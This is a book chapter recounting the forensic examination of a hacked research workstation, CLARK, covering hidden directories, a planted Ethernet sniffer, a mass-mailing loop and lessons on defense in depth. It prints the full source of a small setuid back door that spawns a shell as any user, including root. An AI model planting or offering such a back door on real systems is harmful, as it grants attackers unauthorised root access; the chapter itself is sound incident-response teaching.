17

The Taking of Clark

> And then
> Something went bump!
> How that bump made us jump!
>
> *The Cat in the Hat*
> —DR. SEUSS

Most people don't know when their computers have been hacked. Most systems lack the logging and the attention needed to detect an attempted invasion, much less a successful one. Josh Quittner [Quittner and Slatalla, 1995] tells of a hacker who was caught, convicted, and served his time. When he got out of jail, many of the old back doors he had left in hacked systems were still there.

We had a computer that was hacked, but the intended results weren't subtle. In fact, the attackers' goals were to embarrass our company, and they nearly succeeded.

Often, management fears corporate embarrassment more than the actual loss of data. It can tarnish the reputation of a company, which can be more valuable than the company's actual secrets. This is one important reason why most computer break-ins are never reported to the press or police.

The attackers invaded a host we didn't care about or watch much. This is also typical behavior. Attackers like to find abandoned or orphaned computer accounts and hosts—these are unlikely to be watched. An active user is more likely to notice that his or her account is in use by someone else. The *finger* command is often used to list accounts and find unused accounts. Unused hosts are not maintained. Their software isn't fixed and, in particular, they don't receive security patches.

17.1 Prelude

Our target host was CLARK.RESEARCH.ATT.COM. It was installed as part of the XUNET project, which was conducting research into high-speed (DS3: 45 Mb/sec) networking across the U.S. (Back in 1994, that was fast...) The project needed direct network access at speeds much faster than our firewall could support at the time. The XUNET hosts were installed on a network outside our firewall.

Without our firewall's perimeter defense, we had to rely on host-based security on these external hosts, a dubious proposition given we were using commercial UNIX systems. This difficult task of host-based security and system administration fell to a colleague of ours, Pat Parseghian. She installed one-time passwords for logins, removed all unnecessary network services, turned off the execute bits on `/usr/lib/sendmail`, and ran *COPS* [Farmer and Spafford, 1990] on these systems.

Not everything was tightened up. The users needed to share file systems for development work, so NFS was left running. Ftp didn't use one-time passwords until late in the project.

Out of general paranoia, we located all the external nonfirewall hosts on a branch of the network beyond a bridge. The normal firewall traffic does not pass these miscellaneous external hosts—we didn't want sniffers on a hacked host to have access to our main Internet flow.

17.2 CLARK

CLARK was one of two spare DECstation 5000s running three-year-old software. They were equipped with video cameras and software for use in high-speed networking demos. We could see people sitting at similar workstations across the country in Berkeley, at least when the demo was running.

The workstations were installed outside with some care: Unnecessary network services were removed, as best as we can recall. We had no backups of these scratch computers. The password file was copied from another external XUNET host. No arrangements were made for one-time password use. These were neglected hosts that collected dust in the corner, except when used on occasion by summer students.

Shortly after Thanksgiving in 1994, Pat logged into CLARK and was greeted with a banner quite different from our usual threatening message. It started with

```
ULTRIX V4.2A (Rev. 47) System 6: Tue Sep 22 11:41:50 EDT 1992
UWS V4.2A (Rev. 420)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% GREETINGS FROM THE INTERNET LIBERATION FRONT  %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Once upon a time, there was a wide area network called the Internet.

A network unscathed by capitalistic Fortune 500 companies and the like.
...
```

and continued on: A one-page diatribe against firewalls and large corporations. The message included a PGP public key we could use to reply to them. (Actually, possession of the corresponding private key could be interesting evidence in a trial.)

Pat disconnected both Ultrix hosts from the net and rebooted them. Then we checked them out.

Many people have trouble convincing themselves that they have been hacked. They often find out by luck, or when someone from somewhere complains about illicit activity originating from the hacked host. Subtlety wasn't a problem here.

17.3 Crude Forensics

It is natural to wander around a hacked system to find interesting dregs and signs of the attack. It is also natural to reboot the computer to stop whatever bad things might have been happening. Both of these actions are dangerous if you are seriously interested in examining the computer for details of the attack.

Hackers often make changes to the shutdown or restart code to hide their tracks or worse. The best thing to do is the following:

1. Run *ps* and *netstat* to see what is running, but it probably won't do you any good. Hackers have kernel mods or modified copies of such programs that hide their activity.

2. Turn the computer off, *without* shutting it down nicely.

3. Mount the system's disks on a secure host *read-only,noexec*, and examine them. You can no longer trust the programs or even the operating system on a hacked host.

There are many questions you must answer:

- What other hosts did they get into? Successful attacks are rarely limited to a single host.

- Do you want them to know that they have been discovered?

- Do you want to try to hunt them down?

- How long ago was the machine compromised?

- Are your backups any good?

- What are the motives of the attackers? Are they just collecting hosts, or were they spying?

- What network traffic travels past the interfaces on the host? Could they have sniffed passwords, e-mail, credit card numbers, or important secrets?

- Are you capable of keeping them out from a newly rebuilt host?

17.4 Examining CLARK

We asked a simple, naïve question: Did they gain *root* access? If they changed `/etc/motd`, the answer is probably "yes":

```
# cd /etc
# ls -l motd
-rw-r--r--  1 root         2392 Jan  6 12:42 motd
#
```

Yes. Either they had *root* permission or they hacked our *ls* command to report erroneous information. In either case, the only thing we can say about the software with confidence is that we have absolutely no confidence in it.

To rehabilitate this host, Pat had to completely reload its software from the distribution media. It was possible to save remaining non-executable files, but in our case this wasn't necessary.

Of course, we wanted to see what they did. In particular, did they get into the main XUNET hosts through the NFS links? (We never found out, but they certainly could have.)

We had a look around:

```
# cd /
# ls -l
total 6726
-rw-r--r--  1 root   162 Aug  5  1992 .Xdefaults
-rw-r--r--  1 root    32 Jul 24  1992 .Xdefaults.old
-rwxr--r--  1 root   259 Aug 18  1992 .cshrc
-rwxr--r--  1 root   102 Aug 18  1992 .login
-rwxr--r--  1 root   172 Nov 15  1991 .profile
-rwxr--r--  1 root    48 Aug 21 10:41 .rhosts
----------  1 root    14 Nov 24 14:57 NICE_SECURITY_BOOK_CHES_BUT_ ...
drwxr-xr-x  2 root  2048 Jul 20  1993 bin
-rw-r--r--  1 root   315 Aug 20  1992 default.DECterm
drwxr-xr-x  3 root  3072 Jan  6 12:45 dev
drwxr-xr-x  3 root  3072 Jan  6 12:55 etc
-rwxr-xr-x  1 root 2761504 Nov 15  1991 genvmunix
lrwxr-xr-x  1 root     7 Jul 24  1992 lib -> usr/lib
drwxr-xr-x  2 root  8192 Nov 15  1991 lost+found
drwxr-xr-x  2 root   512 Nov 15  1991 mnt
drwxr-xr-x  6 root   512 Mar 26  1993 n
drwxr-xr-x  2 root   512 Jul 24  1992 opr
lrwxr-xr-x  1 root     7 Jul 24  1992 sys -> usr/sys
lrwxr-xr-x  1 root     8 Jul 24  1992 tmp -> /var/tmp
drwxr-xr-x  2 root  1024 Jul 18 15:39 u
-rw-r--r--  1 root 11520 Mar 19  1991 ultrixboot
drwxr-xr-x 23 root   512 Aug 24  1993 usr
lrwxr-xr-x  1 root     4 Aug  6  1992 usr1 -> /usr
lrwxr-xr-x  1 root     8 Jul 24  1992 var -> /usr/var
-rwxr-xr-x  1 root 4052424 Sep 22  1992 vmunix
```

```
# cat NICE_SECURITY_BOOK_CHES_BUT_ILF_OWNZ_U
we win u lose
```

A message from the dark side! (Perhaps they chose a long filename to create typesetting difficulties for this chapter—but that might be too paranoid.)

17.4.1 /usr/lib

What did they do on this machine? We learned the next forensic trick from reading old hacking logs. It was gratifying that it worked so quickly:

```
# find / -print | grep ' '
/usr/var/tmp/
/usr/lib/
/usr/lib/   /es.c
/usr/lib/   /...
/usr/lib/   /in.telnetd
```

Creeps like to hide their files and directories with names that don't show up well on directory listings. They use three tricks on UNIX systems: embed blanks in the names, prefix names with a period, and use control characters. `/usr/var/tmp` and `/usr/lib/␣␣␣/` had interesting files in them.

We looked in `/usr/lib`, and determined the exact directory name:

```
# cd /usr/lib
# ls | od -c | sed 10q
0000000          \n  D  P  S \n  M  a  i  l  .  h  e  l
0000020  p \n  M  a  i  l  .  h  e  l  p  .  ~ \n  M  a
0000040  i  l  .  r  c \n  X  1  1 \n  X  M  e  d  i  a
0000060 \n  X  l  i  b  I  n  t  V  .  o \n  a  l  i  a
0000100  s  e  s \n  a  l  i  a  s  e  s  .  d  i  r \n
0000120  a  l  i  a  s  e  s  .  p  a  g \n  a  r  i  n
0000140  g  .  l  o  d \n  a  t  r  u  n \n  c  a  l  e
0000160  n  d  a  r \n  c  d  a \n  c  m  p  l  r  s \n
0000200  c  p  p \n  c  r  o  n \n  c  r  o  n  t  a  b
0000220 \n  c  r  t  0  .  o \n  c  t  r  a  c  e \n  d
```

(Experienced UNIX system administrators employ the *od* command when novices create strange, unprintable filenames.) In this case, the directory name was three ASCII blanks. We enter the directory:

```
# cd '/usr/lib/   '
# ls -la
total 103
drwxr-xr-x  2 root          512 Oct 22 17:07 .
drwxr-xr-x 22 root         2560 Nov 24 13:47 ..
-rw-r--r--  1 root           92 Oct 22 17:08 ...
-rw-r--r--  1 root         9646 Oct 22 17:06 es.c
-rwxr-xr-x  1 root        90112 Oct 22 17:07 in.telnetd
# cat ...
Log started at Sat Oct 22 17:07:41, pid=26712
Log started at Sat Oct 22 17:08:36, pid=26721
```

(Note that the "-a" switch on *ls* shows all files, including those beginning with a period.) We see a program, and a file named "`...`". That file contains a couple of log entries that match the dates of the files in the directory. This may be when the machine was first invaded.

There's a source program here, `es.c`. What is it?

```
# tail es.c
        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
                }
        }
fprintf(LOG, "Log started at %s, pid=%d\n", NOWtm(), getpid());
fflush(LOG);
if_fd = initdevice(device);
readloop(if_fd);
}
# strings in.telnetd | grep 'Log started at'
Log started at %s, pid=%d
}
```

The file `es.c` is the Ultrix version of an Ethernet sniffer. The end of the program, which creates the "`...`" log file is shown. This program was compiled into `in.telnetd`. This sniffer might compromise the rest of the XUNET hosts: Our bridge was worth installing; the sniffer could not see the principal flow through our firewall.

17.4.2 /usr/var/tmp

We searched the `/usr/var/tmp` directory, and found more interesting files.

```
# cd /usr/tmp
# ls -la
total 10
drwxr-xr-x  2 root   512 Nov 20 17:06
drwxrwxrwt  5 root   512 Jan  6 13:02 .
drwxr-xr-x 14 root   512 Aug  7  1992 ..
drwxrwxrwx  2 root   512 Jan  6 12:45 .X11-unix
-rw-r--r--  1 root   575 Nov 24 13:44 .s.c
-rw-r--r--  1 root    21 Oct 21  1992 .spinbook
drwxr-xr-x  2 root   512 Jan  6 13:03 ches
-rw-r--r--  1 root  2801 Jan  6 12:45 smdb-:0.0.defaults
```

Here we note *.s.c* and a blank directory on the first line. The little C program *.s.c* is shown in Figure 17.1. It's surprising that there wasn't a copyright on this code. Certainly the author's odd spelling fits the usual hacker norm. This program, when owned by user *root* and with the setuid bit set, allows any user to access any account, including *root*. We compiled the program, and searched diligently for a matching binary, without success.

Let's check that directory with a blank name:

```
# cat .s.c

/* @(#) 1.0 setid.c 93/03/11 */
/* change userid & groupid Noogz */

#include <stdlib.h>
#include <stdio.h>
#include <pwd.h>

main(argc,argv)
int argc;
char ** argv;
{
unsigned uid,gid;
struct passwd *pw=(struct passwd*)NULL;

  uid = gid = 0;

  if (argc<2) {
    puts("setid [ uid gid ] username");
    exit(-1);
  }

  if (argc > 2) {
    uid = atoi(argv[1]);
    gid = atoi(argv[2]);
  } else {
    pw = getpwnam(argv[1]);
    uid = pw->pw_uid;
    gid = pw->pw_gid;
  }

  setgid(gid);
  setuid(uid);
  system("csh -bif");  /* little nicer than a bourney */
}
```

Figure 17.1: *s.c*, a simple back door program

```
# ls | od -c | sed 5q
0000000       \n  .  X  1  1  -  u  n  i  x \n  .  s  .
0000020  c \n  .  s  p  i  n  b  o  o  k \n  c  h  e  s
0000040 \n  s  m  d  b  -  :  0  .  0  .  d  e  f  a  u
0000060  l  t  s \n
0000064
# cd '  '
# ls -la
total 2
drwxr-xr-x  2 root          512 Nov 20 17:06 .
drwxrwxrwt  5 root          512 Jan  6 13:02 ..
```

It's empty now. Perhaps it was a scratch directory. Again, note the date.

The machine had been compromised no later than October. Further work was done on 24 November—Thanksgiving in the U.S. that year. Attacks are often launched on major holidays, or a little after 5:00 P.M. on Friday, when people are not likely to be around to notice.

The last student had used the computer around August.

Pat suggested that we search the whole file system for recently modified files to check their other activity. This is a good approach. Indeed, Tsutomu Shimomura [Shimomura, 1996] and Andrew Gross used a list of their systems' files sorted by *access* time to paint a fairly good picture of the hackers' activity. This must be done on a read-only file system; otherwise, your inquiries will change the last access date. Like many forensic techniques, it is easily thwarted.

We used *find* to list all the files in the system that were newer than August:

```
/                                   /usr/var/spool/mqueue/syslog.1
/etc                                /usr/var/spool/mqueue/syslog.2
/etc/passwd                         /usr/var/spool/mqueue/syslog.3
/etc/utmp                           /usr/var/spool/mqueue/syslog.4
/etc/fstab                          /usr/var/spool/mqueue/syslog.5
/etc/rc.local                       /usr/var/spool/mqueue/syslog.6
/etc/motd                           /usr/var/spool/mqueue/syslog.7
/etc/gettytab                       /usr/var/spool/at/lasttimedone
/etc/syslog.pid                     /usr/lib
/etc/hosts                          /usr/lib/   /...
/etc/snmpd.pid                      /usr/lib/lbb.aa
/etc/rmtab                          /usr/lib/lbb.aa/lib.msg
/etc/gated.version                  /usr/lib/lbb.aa/m
/etc/fstab.last                     /usr/lib/lbb.aa/nohup.out
/usr/var/adm/wtmp                   /dev
/usr/var/adm/shutdownlog            /dev/console
/usr/var/adm/lastlog                /dev/null
/usr/var/adm/syserr/syserr.clark.re /dev/ptyp0
/usr/var/adm/elcsdlog               /dev/ttyp0
/usr/var/adm/X0msgs                 /dev/ptyp1
/usr/var/adm/sulog                  /dev/ttyp1
/usr/var/tmp                        /dev/ptyp2
/usr/var/tmp/.X11-unix              /dev/ttyp2
/usr/var/tmp/.X11-unix/X0           /dev/ptyp3
```

```
/usr/var/tmp/                       /dev/ttyp3
/usr/var/tmp/.s.c                   /dev/ptyp4
/usr/var/tmp/smdb-:0.0.defaults     /dev/ttyp4
/usr/var/tmp/ches                   /dev/ptyp5
/usr/var/tmp/ches/notes             /dev/ttyp5
/usr/var/tmp/ches/es.c              /dev/tty
/usr/var/tmp/ches/inetd.conf        /dev/rrz2g
/usr/var/spool/mqueue               /dev/snmp
/usr/var/spool/mqueue/syslog        /dev/elcscntlsckt
/usr/var/spool/mqueue/syslog.0      /NICE_SECURITY_BOOK_CHES_BUT_ILF_OW
```

Some of these files are changed at every reboot, and others we touched with our investigations. The directory `/usr/lib/lbb.aa` (shown below) is very interesting, and we had missed it in `/usr/lib` before. The name `lbb.aa` is easily missed in the sea of library files found in `/usr/lib`, and this, of course, is no accident.

```
# cd /usr/lib
# cd lbb.aa
# ls -la
total 29192
drwxr-xr-x  2 root          512 Nov 24 14:57 .
drwxr-xr-x 22 root         2560 Nov 24 13:47 ..
-rw-r--r--  1 root         2308 Nov 24 14:55 lib.msg
-rwxr-xr-x  1 root          226 Nov 24 14:56 m
-rw-r--r--  1 root     29856558 Dec  5 21:15 nohup.out
# cat m

while [ 1 ]; do
mail root@cert.org < lib.msg
sleep 1
mail root@wired.com < lib.msg
sleep 1
mail root@newsday.com < lib.msg
sleep 1
mail dateline@news.nbc.com < lib.msg
sleep 1
mail root@apnews.com < lib.msg
sleep 1
done
```

Ah! A tight loop meant to send mail to various media folks. `lib.msg` contained the same stupid screed we found in our `/etc/motd`. They ran this with *nohup* so it would keep running after they went away. Nohup stored its error messages (29 MB worth!) in `nohup.out`:

```
# sed 5 nohup.out
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
# tail -5 nohup.out
/usr/lib/sendmail: Permission denied
```

```
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
/usr/lib/sendmail: Permission denied
# wc -l nohup.out
  806934 nohup.out
```

Over 800,000 mail messages weren't delivered because we had turned off the execute bit on `/usr/lib/sendmail`:

```
# ls -l /usr/lib/sendmail
-rwSr--r-- 1 root 266240 Mar 19 1991 /usr/lib/sendmail
```

They could have fixed it, but they never checked! (Of course, they might have had to configure *sendmail* to get it to work. This can be a daunting task.)

Here the use of defense in depth saved us some trouble. We took multiple steps to defend our host, and one tiny final precaution thwarted them. The purpose of using layers of defense is to increase the assurance of safety, and give the attackers more hurdles to jump. Our over-confident attackers stormed the castle, but didn't check all the closets. Of course, proper security is made of sturdier stuff than this.

17.5 The Password File

The password file on CLARK was originally created by replicating an old internal password file. It was extensive and undoubtedly vulnerable to cracking. Most of the people in the file didn't know they had an account on CLARK. If these passwords were identical to those used inside or (gasp!) for Plan 9 access, they might be slightly useful to an attacker. You couldn't use passwords to get past our firewall: it required one-time passwords.

A password was used for access to Plan 9 [Pike *et al.*, 1995] only through a Plan 9 kernel, so it wasn't immediately useful to someone unless they were running a Plan 9 system with the current authentication scheme. Normal *telnet* access to Plan 9 from the outside Internet required a handheld authenticator for the challenge/response, or the generation of a key based on a password. In neither case did the key traverse the Internet.

Was there someone using Plan 9 now who employed the same password that they used to use when CLARK's password file was installed? There were a few people at the Labs who had not changed their passwords in years.

Sean Dorward, one of the Plan 9 researchers, visited everyone listed in this password file who had a Plan 9 account to ask if they were ever likely to use the same password on a UNIX host and Plan 9. Most said no, and some changed their Plan 9 passwords anyway. This was a long shot, but such care is a hallmark of tight security.

17.6 How Did They Get In?

We will probably never know, but there were several possibilities, ranging from easy to more difficult. It's a pretty good bet they chose one of the easy ones.

They may have sniffed passwords when a summer student logged in from a remote university. These spare hosts did not use one-time passwords. Perhaps they came in through an NFS weakness. The Ultrix code was four years old, and unpatched. That's plenty of time for a bug to be found, announced, and exploited.

For an attack like this, it isn't important to know how they did it. With a serious attack, it becomes vital. It can be very difficult to clean a hacker out of a computer, even when the system administrator is forewarned.

17.6.1 How Did They Become Root?

Not through sendmail: They didn't notice that it wasn't executable. They probably found some bug in this old Ultrix system. They have good lists of holes. On UNIX systems, it is generally hard to keep a determined user from becoming *root*. Too many programs are setuid to *root*, and there are too many fussy system administration details to get right.

17.6.2 What Did They Get of Value?

They could have gotten further access to our XUNET machines, but they may already have had that. They sniffed a portion of our outside net: There weren't supposed to be passwords used there, but we didn't systematically audit the usage. There were several other hosts on that branch of the Ethernet.

Our bet is that they came to deliver the mail message, and didn't bother much beyond that. We could be wrong, and we have no way to find out from CLARK.

17.7 Better Forensics

Our forensics were crude. This was not a big deal for us, and we spent only a little time on it. In major attacks, it can take weeks or months to rid a community of hosts of hackers. Some people try to trace the attacks back, which is sometimes successful.

Stupid crooks get caught all the time.

Others will tap their own nets to watch the hackers' activities, *a la* Berferd. You can learn a lot about how they got in, and what they are up to. In one case we know of, an attacker logged into a bulletin board and provided all his personal information through a machine he had attacked. The hacked company was watching the keystrokes, and the lawyers arrived at his door the next morning.

Be careful: There are looming questions of *downstream liability*. You may be legally responsible for attacks that appear to originate from your hosts.

Consider some other questions. Should you call in law enforcement [Rosenblatt, 1995]? Their resources are stretched, and traditionally they haven't helped much unless a sizable financial loss was claimed. This is changing, because a little problem can often be the tip of a much larger iceberg.

If you have a large financial loss, do you want the press to hear about it? The embarrassment and loss of goodwill may cost more than the actual loss.

You probably should tell CERT about it. They are reasonably circumspect, and may be able to help a little. Moreover, they won't call the authorities without your permission.

17.8 Lessons Learned

It's possible to learn things even from stories without happy endings. In fact, those are the best sorts of stories to learn from. Here are some of the things (in no particular order) that we learned from the loss of CLARK:

- **Defense in depth helps.**
  Using the Ethernet bridge saved us from a sniffing attack. Disabling *sendmail* (and not just ignoring it) was a good idea.
- **The Bad Guys only have to win once.**
  CLARK was reasonably tightly administered at first—certainly more so than the usual out-of-the-box machine. Some dubious services, such as NFS and *telnet*, were enabled at some point (due to administrative bitrot?) and one of them was too weak.
- **Security is an ongoing effort.**
  You can't just "secure" a machine and move on. New holes are discovered all the time.
- **You have to secure both ends of connections.**
  Even if we had administered CLARK perfectly, it could have been compromised by an attacker on the university end.
- **Idle machines are the Devil's playground.**
  The problem would have been noticed a lot sooner if someone had been using CLARK. Unused machines should be turned off.
- **Booby traps can work.**
  What if we had replaced *sendmail* by a program that alerted us, instead of just disabling it? What if we had installed some other *simple* IDS?
- **We're not perfect, either—but we were good enough.**
  We made mistakes in setting up and administering the machine. But security isn't a matter of 0 and 1; it's a question of degree. Yes, we lost one machine, we had the bridge, and we had the firewall, and we used one-time passwords where they *really* counted. In short, we protected the important stuff.